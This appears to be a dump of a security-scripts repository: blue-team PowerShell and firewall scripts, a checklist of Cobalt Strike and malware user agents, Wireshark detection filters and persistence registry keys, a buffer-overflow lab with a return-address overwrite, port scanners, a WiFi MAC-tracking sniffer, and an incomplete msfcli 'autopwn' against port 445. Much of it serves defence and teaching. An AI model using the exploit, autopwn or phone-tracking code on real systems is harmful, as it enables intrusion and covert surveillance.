$Kernel32::VirtualQueryEx($ProcessHandle, $BaseAddress, [Ref]$memory_basic_info, $MEMORYBASICINFORMATION::GetSize()); $LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() 2086 | 2087 | if(-not $Success) 2088 | { 2089 | Write-Debug "VirtualQueryEx Error: $(([ComponentModel.Win32Exception] $LastError).Message)" 2090 | } 2091 | 2092 | Write-Output $memory_basic_info 2093 | } 2094 | 2095 | #endregion Win32 API Abstractions 2096 | 2097 | Get-InjectedThread 2098 | -------------------------------------------------------------------------------- /blue-team/LoopThroughSystems.ps1: -------------------------------------------------------------------------------- 1 | #################################### 2 | # 3 | # Should loop through mutiple systems and run a command 4 | # Still in development. 5 | # 6 | # 7 | #################################### 8 | 9 | $cred = Get-Credential 10 | $hosts = Get-Content hosts.txt 11 | 12 | #find scheduled jobs 13 | $command99 = "Get-ChildItem -Path c:\windows\system32\tasks" 14 | 15 | #find evil.exe 16 | $command98 = "Get-ChildItem -Path 'c:\program files\vmware\vmware tools' -Filter vmtoold.exe" 17 | 18 | $command = "cmd.exe /c c:\programdata\sysmon64.exe -u" 19 | $command1 = "cmd.exe /c c:\programdata\sysmon64.exe -i -n -r -accepteula" 20 | 21 | foreach($h in $hosts) { 22 | write-output "Running command $command" 23 | invoke-command -computername $h -scriptblock { $command } -credential $cred 24 | } 25 | 26 | ################################################################################ 27 | 28 | $hosts = Get-Content hosts.txt 29 | $script-path = "cmd.exe /c c:\programdata\sysmon64.exe -u" 30 | 31 | foreach($h in $hosts) { 32 | write-output "Running command $command" 33 | invoke-command -computername $h -FilePath $script-path -credential $cred 34 | } 35 | -------------------------------------------------------------------------------- /blue-team/RunMultipleSystemsCommand.ps1: -------------------------------------------------------------------------------- 1 | ############################# 2 | # 3 | # Run a command on all of the things 4 | # Requires powershell remoting 5 | # You can also run powershell commands 6 | # like: "Stop-Process -Name Malware -Force" 7 | # 8 | ############################# 9 | $cred = Get-Credential 10 | Invoke-Command -Credential $cred -ScriptBlock { cmd.exe /c c:\programdata\sysmon64.exe -u } -ComputerName host01.domain.local 11 | Invoke-Command -Credential $cred -ScriptBlock { cmd.exe /c c:\programdata\sysmon64.exe -u } -ComputerName host02.domain.local 12 | Invoke-Command -Credential $cred -ScriptBlock { cmd.exe /c c:\programdata\sysmon64.exe -u } -ComputerName host03.domain.local 13 | Invoke-Command -Credential $cred -ScriptBlock { cmd.exe /c c:\programdata\sysmon64.exe -u } -ComputerName host04.domain.local 14 | Invoke-Command -Credential $cred -ScriptBlock { cmd.exe /c c:\programdata\sysmon64.exe -u } -ComputerName host05.domain.local 15 | Invoke-Command -Credential $cred -ScriptBlock { cmd.exe /c c:\programdata\sysmon64.exe -u } -ComputerName host06.domain.local 16 | Invoke-Command -Credential $cred -ScriptBlock { cmd.exe /c c:\programdata\sysmon64.exe -u } -ComputerName host07.domain.local 17 | Invoke-Command -Credential $cred -ScriptBlock { cmd.exe /c c:\programdata\sysmon64.exe -u } -ComputerName host08.domain.local 18 | Invoke-Command -Credential $cred -ScriptBlock { cmd.exe /c c:\programdata\sysmon64.exe -u } -ComputerName host09.domain.local 19 | -------------------------------------------------------------------------------- /blue-team/checklist.txt: -------------------------------------------------------------------------------- 1 | #################################################### 2 | # 3 | # Check List for Blue Teaming! 4 | # 5 | # ***** Resources ***** 6 | # https://www.sans.org/reading-room/whitepapers/incident/practical-incident-response-network-based-attack-37920 7 | # https://github.com/rsmudge/Malleable-C2-Profiles 8 | # https://www.forensicswiki.org/wiki/Prefetch 9 | # https://www.sans.org/reading-room/whitepapers/incident/windows-responders-guide-1120 10 | # https://digital-forensics.sans.org/blog/tags/sysinternals 11 | # https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order 12 | # https://www.bro.org/brocon2017/slides/persistent_threats.pdf 13 | # https://401trg.com/an-introduction-to-smb-for-network-security-analysts/ 14 | # 15 | #################################################### 16 | 17 | 18 | 1. Find Network Activity 19 | A. User Agents: Wireshark Filter: http.user_agent 20 | i. CobaltStrike Malleable C2 - https://github.com/rsmudge/Malleable-C2-Profiles 21 | 1. Amazon - "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko" 22 | 2. Bing - "Mozilla/5.0 (compatible, MSIE 11, Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko" 23 | "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko" 24 | 3. CNN Video - "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko" 25 | 4. Google Drive - "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko" 26 | 5. Microsoft Update - "Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.40" 27 | 6. MSNBC Video - "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko" 28 | 7. OSCP - "Microsoft-CryptoAPI/6.1" 29 | 8. OneDrive - "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko" 30 | 9. Pandora - "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko" 31 | 10. Randomized - "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" 32 | 11. Safe Browsing - "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko" 33 | 12. Wikipedia - "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko" 34 | 13. Fiesta - "Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.0; .NET CLR 1.0.2914)" 35 | "Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Firefox/24.0" 36 | 37 | 14. Fiesta2 - "Mozilla/4.0 (Windows 7 6.1) Java/1.7.0_11" 38 | 15. Magitude - "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)" 39 | 16. Zeus - "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1)" 40 | 17. Havex - "Mozilla/4.0 (compatible; MSIE 6.0;Windows NT 5.1)"; 41 | "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)"; 42 | "Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 5.2) Java/1.5.0_08"; 43 | 18. Meterpreter - "Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko" 44 | 19. Pitty_Tiger - "Microsoft Internet Explorer" 45 | 20. String_Of_Paerls - "Mozilla/4.0" 46 | 21. Taidoor - "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)" 47 | ii Powershell Empire 48 | 49 | 1. "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0)" 50 | GET /login/process.php 51 | B. Misc Wireshark Filters 52 | i. CobaltStrike Trial - Contains EICAR test string 53 | frame matches EICAR 54 | frame matches X-Malware 55 | ii. frame.len <= 300 ## probably catches most 56 | CobaltStrike Packet Length 57 | frame.len == 251 58 | Powershell Empire Packet Length 59 | frame.len == 269 60 | iii. CobaltStrike Flags syn, ecn, cwr 61 | tcp.flags.syn == 1 && tcp.flags.ecn == 1 && tcp.flags.cwr == 1 62 | iv. Find PSEXEC *untested 63 | smb && frame contains ADMIN$ 64 | smb && frame contains IPC$ 65 | smb && frame contains PowerShell 66 | v. Find DNS Beacons 67 | dns && frame.len > 90 68 | C. Bro 69 | i. bro-cut host < http.log | sort | uniq -c | sort -n | tail -n 10 ## top hosts 70 | ii. bro-cut user_agent < http.log | sort -u ## user agents 71 | 72 | 2. Find Host Activity 73 | A. Remote Tools 74 | i. for /f %a in (hosts.txt) do (psexec.exe \\%a -u user -p password cmd /c tasklist) > %a.tasklist.txt 75 | ii. for /f %a in (hosts.txt) do (psexec.exe \\%a -u user -p password cmd /c netstat -anobp tcp) > %a.netstat.txt 76 | iii. for /f %a in (hosts.txt) do (psexec.exe \\%a -u user -p password cmd /c dir c:\windows\prefetch ) > %a.prefetch.txt 77 | B. Local Tools 78 | i. netstat -anop tcp 4 79 | ii. Wireshark 80 | iii. autoruns 81 | iv. procexp 82 | v. wmic process get processid,parentprocessid,executablepath,name,commandline 83 | C. Check for Persistence 84 | i. SCHTASKS /Query /FO list /v 85 | D. Registry Persitence 86 | i. reg query 87 | HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\BootExecute 88 | HKLM\System\CurrentControlSet\Services 89 | HKLM\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce 90 | HKCU\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce 91 | HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices 92 | HKCU\Software\Microsoft\Windows\CurrentVersion\RunServices 93 | HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify 94 | HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit 95 | HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\\Shell 96 | HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\\Shell 97 | HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad 98 | HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce 99 | HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnceEx 100 | HKLM\Software\Microsoft\Windows\CurrentVersion\Run 101 | HKCU\Software\Microsoft\Windows\CurrentVersion\Run 102 | HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce 103 | HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run 104 | HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run 105 | HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\load 106 | HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows 107 | HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\SharedTaskScheduler (XP, NT, W2k only) 108 | HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows\\AppInit_DLLs 109 | 110 | 111 | 112 | -------------------------------------------------------------------------------- /blue-team/firewall.bat: -------------------------------------------------------------------------------- 1 | @ECHO off 2 | REM ################################################# 3 | REM # Created by @jgaudard :: I don't twitter much 4 | REM # SECURE mgmt systems 5 | REM # Created: 14 June 2016 Edited: 20 May 2017 6 | REM # Version 1.0 7 | REM ################################################# 8 | REM ### features to add/update 9 | REM 1. check for workgroup/domain 10 | REM 2. check local admin creds 11 | REM 3. options for what to allow 12 | REM 4. block powershell 13 | 14 | :: ################################################### 15 | :: Instructions for use: 16 | :: 1. Remove the system from the domain. 17 | :: a. You will need to know the local administrator password. 18 | :: 2. Edit the script for your use. 19 | :: a. Find the !!! Edit below !!! line an edit accordingly. 20 | :: b. Add no-strike systems. This should be a minimal list. 21 | :: 3. Run the script. 22 | :: a. It will save the firewall before making changes. To revert: 23 | :: b. netsh advfirewall import c:\windows\temp\firewallbak.wfw 24 | :: ################################################### 25 | 26 | echo ------------------------------------------------------ 27 | echo This will setup a very hardened firewall. 28 | echo You should have removed the system from the domain, 29 | echo and reset the admin password. If not, ctl + c to exit. 30 | echo ------------------------------------------------------ 31 | pause 32 | 33 | echo Disabling Group Policy, just in case you didn't remove 34 | echo the system from the domain. 35 | REG add "HKCU\Software\Policies\Microsoft\MMC\{8FC0B734-A0E1-11D1-A7D3-0000F87571E3}" /v Restrict_Run /t REG_DWORD /d 1 /f 36 | 37 | echo Backing up current rules to c:\windows\temp\firewallbak.wfw 38 | netsh advfirewall export c:\windows\temp\firewallbak.wfw 39 | ping 127.0.0.1 -n 3 > nul 40 | netsh advfirewall set allprofiles state on 41 | netsh advfirewall reset 42 | netsh advfirewall firewall delete rule name=all 43 | 44 | echo Blocking all inbound and outbound traffic. 45 | netsh advfirewall set allprofiles firewallpolicy blockinbound,blockoutbound 46 | 47 | echo Enabling logging 48 | REM %windir%\system32\logfiles\firewall\pfirewall.log 49 | netsh advfirewall set allprofiles logging droppedconnections enable 50 | 51 | 52 | :: !!!!!!!! EDIT Below !!!!!!!!!!!! 53 | :: No Strike List, save to nostrike.txt and run from same dir as firewall.bat (or use absolute path). These will probably include any management websites. 54 | :: 55 | echo ------------------------------------------------------ 56 | echo Setting up nostrike list, you must have run this from the same directory 57 | echo where nostrike.txt exists with the list of ip addresses. 58 | echo ------------------------------------------------------ 59 | pause 60 | FOR /F %%G in (nostrike.txt) DO ( 61 | netsh advfirewall firewall add rule name="No Strike List - outbound" dir=out action=allow remoteip=%%G 62 | netsh advfirewall firewall add rule name="No Strike List - inbound" dir=in action=allow remoteip=%%G 63 | ) 64 | 65 | REM ## Specific Blocking Rules ## 66 | REM Comment these out if you are going to be using powershell and/or the command prompt. 67 | netsh advfirewall firewall add rule name="Powershell" dir=out action=block program="%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe" 68 | netsh advfirewall firewall add rule name="Command Prompt" dir=out action=block program="%SystemRoot%\system32\cmd.exe" 69 | 70 | REM ## allow rules, must remove "REM" to enable rule." 71 | REM netsh advfirewall firewall add rule name="RDP" dir=out action=allow protocol=TCP remoteport=3389 72 | REM netsh advfirewall firewall add rule name="SSH" dir=out action=allow protocol=TCP remoteport=22 73 | REM netsh advfirewall firewall add rule name="SMB" dir=out action=allow protocol=TCP remoteport=445 74 | REM netsh advfirewall firewall add rule name="website" dir=out action=allow protocol=tcp remoteport=443 remoteip=1.2.3.4 75 | 76 | REM ### Allows active directory and exchange communication, directly from host to ip of server. ### 77 | REM netsh advfirewall firewall add rule name="Domain Comms - TCP - outbound" dir=out action=allow protocol=TCP remoteport=389,636,3268,3269,88,53,445,25,135,5722,464,9389,139 remoteip=1.2.3.4 78 | REM netsh advfirewall firewall add rule name="Domain Comms - TCP - inbound " dir=in action=allow protocol=TCP remoteport=389,636,3268,3269,88,53,445,25,135,5722,464,9389,139 remoteip=1.2.3.4 79 | REM netsh advfirewall firewall add rule name="Domain Comms - UDP - outbound" dir=out action=allow protocol=UDP remoteport=389,88,53,445,123,464,138,67,2535,137 remoteip=1.2.3.4 80 | REM netsh advfirewall firewall add rule name="Domain Comms - UDP - inbound" dir=in action=allow protocol=UDP remoteport=389,88,53,445,123,464,138,67,2535,137 remoteip=1.2.3.4 81 | REM netsh advfirewall firewall add rule name="Exchange Comms - TCP - outbound" dir=out action=allow protocol=TCP remoteport=443,80,143,993,110,995,587 remoteip=1.2.3.4 82 | REM netsh advfirewall firewall add rule name="Excange Comms - TCP - inbound" dir=in action=allow protocol=TCP remoteport=443,80,143,993,110,995,587 remoteip=1.2.3.4 83 | 84 | 85 | REM This will allow you to "mask" your password when prompted. 86 | :: @echo off 87 | :: powershell -Command $pword = read-host "Enter password" -AsSecureString ; ^ 88 | :: $BSTR=[System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($pword) ; ^ 89 | :: [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($BSTR) > .tmp.txt 90 | :: set /p password=<.tmp.txt & del .tmp.txt 91 | :: echo %password% 92 | 93 | 94 | -------------------------------------------------------------------------------- /blue-team/nostrike.txt: -------------------------------------------------------------------------------- 1 | 8.8.8.8,8.8.4.4 2 | 192.168.0.1,192.168.1.1,172.16.0.1,172.16.1.1 3 | -------------------------------------------------------------------------------- /blue-team/random_notes.txt: -------------------------------------------------------------------------------- 1 | ## Filter Netstat 2 | https://blogs.technet.microsoft.com/heyscriptingguy/2015/08/19/parsing-netstat-information-with-powershell-5/ 3 | 4 | $a = netstat -anop tcp 5 | $a[3..$a.count] | ConvertFrom-String | select p3,p4,p5,p6 | where p5 -eq "established" 6 | -------------------------------------------------------------------------------- /demo/README.md: -------------------------------------------------------------------------------- 1 | For a freeish cloud VM, check out cloud.google.com, you get $300 credit towards compute for your first year. This can also be done in any linux virtual machine you build. 2 | 3 | The code and example is from https://dhavalkapil.com/blogs/Buffer-Overflow-Exploit/ 4 | 5 | If you don't get the same memory address for vuln.c, you'll have to work on it. Or...: wget https://dhavalkapil.com/assets/files/Buffer-Overflow-Exploit/vuln 6 | 7 | ``` 8 | vi vuln.c 9 | gcc vuln.c -o vuln -fno-stack-protector -m32 10 | ./vuln 11 | vi fuzz.py 12 | python fuzz.py 13 | objdump -d vuln 14 | objdump -d vuln | grep secret 15 | python -c 'print "a"*32 + "\x9d\x84\x04\x08"' | ./vuln 16 | ``` 17 | -------------------------------------------------------------------------------- /demo/fuzz.py: -------------------------------------------------------------------------------- 1 | import os 2 | from time import sleep 3 | binary = "~/vuln" 4 | singlebuff = "A" 5 | i = 5 6 | 7 | while i < 40: 8 | fuzzbuff = singlebuff * i 9 | os.system('echo "' + fuzzbuff + '" | ' + binary) 10 | i += 5 11 | sleep(1) 12 | -------------------------------------------------------------------------------- /demo/vuln.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | void secretFunction() 4 | { 5 | printf("Congratulations!\n"); 6 | printf("You have entered in the secret function!\n"); 7 | } 8 | 9 | void echo() 10 | { 11 | char buffer[20]; 12 | printf("Enter some text:\n"); 13 | scanf("%s", buffer); 14 | printf("You entered: %s\n", buffer); 15 | } 16 | 17 | int main() 18 | { 19 | echo(); 20 | return 0; 21 | } 22 | -------------------------------------------------------------------------------- /html/randompage.html: -------------------------------------------------------------------------------- 1 | 2 | 35 |
36 | 37 |
38 | -------------------------------------------------------------------------------- /powershell/filesearch.ps1: -------------------------------------------------------------------------------- 1 | # By @jgaudard 2 | # Version 1.5 3 | # To run this script: 4 | # From a Administrators Command prompt type "powershell" 5 | # Navigate to the directory where this script is stored. 6 | # Type ".\driveSearch.ps1" 7 | # Follow the script prompts, if you receive an error for ExecutionPolicy: 8 | # type "Set-ExecutionPolicy unrestricted" 9 | 10 | import-module activedirectory 11 | 12 | 13 | "This powershell script will create a folder for artifacts on this system at c:\temp\username\artifacts. You will then be prompted for the case number, host or IP of the system you wish to search for the file. An output will be displayed with the user's directory, this will allow you to get the last logged on user's id if necessary. You will then receive two outputs for the user's home and profile path, you will need to copy and paste these into the associated prompts. A search is then preformed on the remote system and the home and profile path for the file specified. Wildcards are used in the search, so it is unnecessary to include. AV Logs and a directory structure for the two program files directories are copied to the artifacts folder" 14 | 15 | [string]$username = Read-Host "Enter your name. (this will be the name of the folder where your artifacts are stored)" 16 | [string]$case = Read-Host "Enter the case number." 17 | [string]$hostOrIP = Read-Host "Enter the host name or IP address." 18 | 19 | Remove-PSDrive -Name "L:\" -erroraction silentlycontinue 20 | New-PSDrive -Name "L" -PSProvider Filesystem -Root "\\$hostOrIP\c$" 21 | 22 | 23 | 24 | 25 | get-childitem L:\Users\ | sort-object -property @{Expression={$_.LastWriteTime}; Ascending=$true} | out-default | ft LastWriteTime, Name 26 | 27 | 28 | 29 | 30 | [string]$dodiisID = Read-Host "Enter the user's username" 31 | [string]$file = Read-Host "Enter the file to search for." 32 | 33 | $userHomeDrive = Get-ADUser -filter {samAccountName -eq $dodiisID} -properties homeDirectory | out-default | ft HomeDirectory 34 | $userProfilePath = Get-ADUser -filter {samAccountName -eq $dodiisID} -properties ProfilePath | out-default | ft ProfilePath 35 | 36 | $logDir = "c:\temp\$username\artifacts\$case\" 37 | $avLogDir = "L:\ProgramData\McAfee\DesktopProtection" 38 | 39 | $userHomeDrive 40 | $userProfilePath 41 | 42 | "Use the above home directory and profile path" 43 | 44 | [string]$userHomeDrive1 = Read-Host "Enter the Home Directory Path." 45 | [string]$userProfilePath1 = Read-Host "Enter the ProfilePath." 46 | 47 | 48 | Remove-PSDrive -Name "M:\" -erroraction silentlycontinue 49 | Remove-PSDrive -Name "N:\" -erroraction silentlycontinue 50 | 51 | 52 | New-PSDrive -Name "M" -PSProvider Filesystem -Root $userHomeDrive1 53 | New-PSDrive -Name "N" -PSProvider Filesystem -Root $userProfilePath1 54 | 55 | if(!(Test-Path -Path $logDir\avlogs )){ 56 | New-Item -ItemType directory -Path $logDir\avlogs 57 | } 58 | 59 | $searchHomeTxt = "Searching the User's Home Directory ($userHomeDrive1) for ($file)" 60 | $searchHomeTxt 61 | $searchHomeTxt | Out-File "$logDir\analysisLog.txt" -Append 62 | get-childitem M:\* -include *$file* -recurse -force -erroraction silentlycontinue | out-file $logDir\homeDriveSearch.txt 63 | 64 | $searchProfileTxt = "Searching the User's Profile Directory ($userProfilePath1) for ($file)" 65 | $searchProfileTxt 66 | $searchProfileTxt | Out-File "$logDir\analysisLog.txt" -Append 67 | get-childitem N:\* -include *$file* -recurse -force -erroraction silentlycontinue | out-file $logDir\profileDriveSearch.txt 68 | 69 | $copyAvLogsTxt = "Copying AV Logs from ($hostOrIP) ($avLogDir)" 70 | $copyAvLogsTxt 71 | $copyAvLogsTxt | Out-File "$logDir\analysisLog.txt" -Append 72 | get-childitem $avLogDir *.txt | copy-item -destination $logDir\avlogs\ 73 | 74 | $searchProgramFiles = "Output of Program Files directory structure for ($hostOrIP)" 75 | $searchProgramFiles 76 | $searchProgramFiles | Out-File "$logDir\analysisLog.txt" -Append 77 | get-childitem "L:\Program Files" | sort-object -property @{Expression={$_.LastWriteTime}; Ascending=$true} | out-file $logDir\ProgramFiles.txt 78 | get-childitem "L:\Program Files (x86)" | sort-object -property @{Expression={$_.LastWriteTime}; Ascending=$true} | out-file "$logDir\ProgramFiles(x86).txt" 79 | 80 | 81 | $searchHostTxt = "Searching the host ($hostOrIP) for ($file)" 82 | $searchHostTxt 83 | "This may take several minutes" 84 | $searchHostTxt| Out-File "$logDir\analysisLog.txt" -Append 85 | get-childitem L:\* -include *$file* -recurse -force -erroraction silentlycontinue | out-file $logDir\hostDriveSearch.txt 86 | -------------------------------------------------------------------------------- /powershell/mouseclick.ps1: -------------------------------------------------------------------------------- 1 | ########### 2 | # Moves mouse to coords, and clicks then loops. 3 | # Mouse click function from: http://stackoverflow.com/questions/12125959/power-shell-how-to-send-middle-mouse-click 4 | # Requires some trial and error with the cords. 5 | # 6 | ########## 7 | 8 | [void] [System.Reflection.Assembly]::LoadWithPartialName("System.Drawing") 9 | [void] [System.Reflection.Assembly]::LoadWithPartialName("System.Windows.Forms") 10 | 11 | function Click-MouseButton 12 | { 13 | param( 14 | [string]$Button, 15 | [switch]$help) 16 | $HelpInfo = @' 17 | 18 | Function : Click-MouseButton 19 | By : John Bartels 20 | Date : 12/16/2012 21 | Purpose : Clicks the Specified Mouse Button 22 | Usage : Click-MouseButton [-Help][-Button x] 23 | where 24 | -Help displays this help 25 | -Button specify the Button You Wish to Click {left, middle, right} 26 | 27 | '@ 28 | 29 | if ($help -or (!$Button)) 30 | { 31 | write-host $HelpInfo 32 | return 33 | } 34 | else 35 | { 36 | $signature=@' 37 | [DllImport("user32.dll",CharSet=CharSet.Auto, CallingConvention=CallingConvention.StdCall)] 38 | public static extern void mouse_event(long dwFlags, long dx, long dy, long cButtons, long dwExtraInfo); 39 | '@ 40 | 41 | $SendMouseClick = Add-Type -memberDefinition $signature -name "Win32MouseEventNew" -namespace Win32Functions -passThru 42 | if($Button -eq "left") 43 | { 44 | $SendMouseClick::mouse_event(0x00000002, 0, 0, 0, 0); 45 | $SendMouseClick::mouse_event(0x00000004, 0, 0, 0, 0); 46 | } 47 | if($Button -eq "right") 48 | { 49 | $SendMouseClick::mouse_event(0x00000008, 0, 0, 0, 0); 50 | $SendMouseClick::mouse_event(0x00000010, 0, 0, 0, 0); 51 | } 52 | if($Button -eq "middle") 53 | { 54 | $SendMouseClick::mouse_event(0x00000020, 0, 0, 0, 0); 55 | $SendMouseClick::mouse_event(0x00000040, 0, 0, 0, 0); 56 | } 57 | 58 | } 59 | } 60 | 61 | while ($true) { 62 | sleep(2) 63 | [System.Windows.Forms.Cursor]::Position = New-Object System.Drawing.Point(727,244) 64 | Click-MouseButton -Button Left 65 | sleep(2) 66 | [System.Windows.Forms.Cursor]::Position = New-Object System.Drawing.Point(845,330) 67 | Click-MouseButton -Button Left 68 | sleep(2) 69 | [System.Windows.Forms.Cursor]::Position = New-Object System.Drawing.Point(144,106) 70 | Click-MouseButton -Button Left 71 | sleep(2) 72 | [System.Windows.Forms.Cursor]::Position = New-Object System.Drawing.Point(650,390) 73 | Click-MouseButton -Button Left 74 | } 75 | -------------------------------------------------------------------------------- /python/MACAddrScanner.py: -------------------------------------------------------------------------------- 1 | ################################################### 2 | # 3 | # Code from: http://edwardkeeble.com/2014/02/passive-wifi-tracking/ 4 | # Modified by @jgaudard started on 24 April 2015 5 | # 6 | # Scans for MACs that are not in the whitelist 7 | # then prints them to the screen including MAC, 8 | # SSID, Signal Strength after searching csv. 9 | # 10 | # Format for CSV: 0 MAC,1 SigStrenght,2 yyyy-mm-dd,3 hh:mm,4 yyyy-mm-dd,5 hh:mm,6 yyyy-mm-dd,7 hh:mm,8 yyyy-mm-dd,9 hh:mm,10 SSID,11 SSID,12 SSID,13 SSID 11 | # 12 | ################################################### 13 | 14 | 15 | 16 | 17 | from scapy.all import * 18 | from datetime import datetime 19 | import csv, time 20 | 21 | PROBE_REQUEST_TYPE=0 22 | PROBE_REQUEST_SUBTYPE=4 23 | 24 | WHITELIST = ['de:ad:be:ef:ca:fe'] # Replace this with your phone's MAC address 25 | 26 | def PacketHandler(pkt): 27 | if pkt.haslayer(Dot11): 28 | if pkt.type==PROBE_REQUEST_TYPE and pkt.subtype == PROBE_REQUEST_SUBTYPE and ( pkt.addr2.lower() not in WHITELIST and pkt.addr2.upper() not in WHITELIST): 29 | PrintPacket(pkt) 30 | 31 | def PrintPacket(pkt): 32 | try: 33 | extra = pkt.notdecoded 34 | except: 35 | extra = None 36 | if extra!=None: 37 | signal_strength = -(256-ord(extra[-4:-3])) 38 | else: 39 | signal_strength = -100 40 | print "No signal strength found" 41 | with open('logphones.csv','rb') as read: 42 | reader=csv.reader(read, delimiter=',') 43 | for row in reader: 44 | if pkt.addr2 == row[0]: 45 | themacexist=1 46 | break 47 | else: 48 | themacexist=0 49 | read.close() 50 | if themacexist==1: 51 | EditExisting(pkt) 52 | elif themacexist==0: 53 | WriteNew(pkt,signal_strength) 54 | else: 55 | print "error" 56 | 57 | def WriteNew(pkt,signal_strength): 58 | with open('logphones.csv','ab') as out: 59 | w=csv.writer(out) 60 | w.writerow([pkt.addr2,signal_strength,datetime.now().strftime('%Y-%m-%d'),datetime.now().strftime('%H:%M'),'blank','blank','blank','blank',pkt.getlayer(Dot11ProbeReq).info]) 61 | print "MAC: %s SSID: %s"%(pkt.addr2,pkt.getlayer(Dot11ProbeReq).info) 62 | out.close() 63 | 64 | def EditExisting(pkt): 65 | return 66 | ''' 67 | reader = csv.reader(open('logphones.csv','rb')) 68 | writer = csv.writer(open('logphones.csv','wb')) 69 | for row in reader: 70 | if pkt.addr2 == row[0]: 71 | if not pkt.getlayer(Dot11ProbeReq).info in row[10:]: 72 | print "ssid is not in csv" 73 | ''' 74 | 75 | def main(): 76 | print "[%s] Starting scan"%datetime.now() 77 | print "Scanning..." 78 | sniff(iface=sys.argv[1],prn=PacketHandler,store=0) 79 | if __name__=="__main__": 80 | main() 81 | 82 | -------------------------------------------------------------------------------- /python/PortScanner.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # Simple port scanner, version 2.0 3 | 4 | print "[+] Starting port scanner...\n" 5 | import socket 6 | 7 | 8 | issubnet = input("If you wish to scan a subnet, enter 1: ") 9 | 10 | if issubnet == 1: 11 | network = raw_input("Enter the network: ") 12 | hoststart = input("Enter the host start: ") 13 | hostend = input("Enter the host end: ") 14 | 15 | for host in range(hoststart, hostend): 16 | target = network + "." + str(host) 17 | print "\n[*] Scanning host {}.{}".format(network, host) 18 | print "[+] Scanning ports 1 through 1024\n" 19 | for port in range(1,1024): 20 | try: 21 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 22 | sock.settimeout(500) 23 | result = sock.connect_ex((target, port)) 24 | if result == 0: 25 | print "Port {}: \t Open".format(port) 26 | sock.close 27 | except: continue 28 | 29 | else: 30 | target = raw_input("Enter a single ip or fqdn: ") 31 | print "[+] Scanning ports 1 through 1024\n" 32 | for port in range(1,1024): 33 | try: 34 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 35 | sock.settimeout(500) 36 | result = sock.connect_ex((target, port)) 37 | if result == 0: 38 | print "Port {}: \t Open".format(port) 39 | sock.close 40 | except: continue 41 | 42 | 43 | 44 | 45 | 46 | 47 | -------------------------------------------------------------------------------- /python/PortScanner.py~: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | import socket as sk 4 | import subprocess, shlex, os, time 5 | 6 | ### Default Variables 7 | net="172.16.175" 8 | netStart=1 9 | netStop=254 10 | 11 | 12 | ### Scans target network for open port 445 13 | def scanner(net, netStart, netStop): 14 | print('running scanner') 15 | for octect in range(netStart,netStop): 16 | #test = net + '.' + str(octect) 17 | try: 18 | 19 | network = net + '.' + str(octect) 20 | s=sk.socket(sk.AF_INET, sk.SOCK_STREAM) 21 | s.settimeout(1) 22 | s.connect((network, 445)) 23 | targets.append(network) 24 | if(len(targets) != 0): 25 | for target in targets: 26 | ### the autopwn 27 | subprocess.Popen(shlex.split('msfcli {0} PAYLOAD={1} RHOST={2} LHOST={3} LPORT={4} DisablePayloadHandler=true E'.format(exploit, payload, target, lhost, lport))) 28 | targets.pop(0) 29 | s.close 30 | except: continue 31 | -------------------------------------------------------------------------------- /python/browser.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | import time, random 3 | from selenium import webdriver 4 | import selenium.webdriver.chrome.service as service 5 | 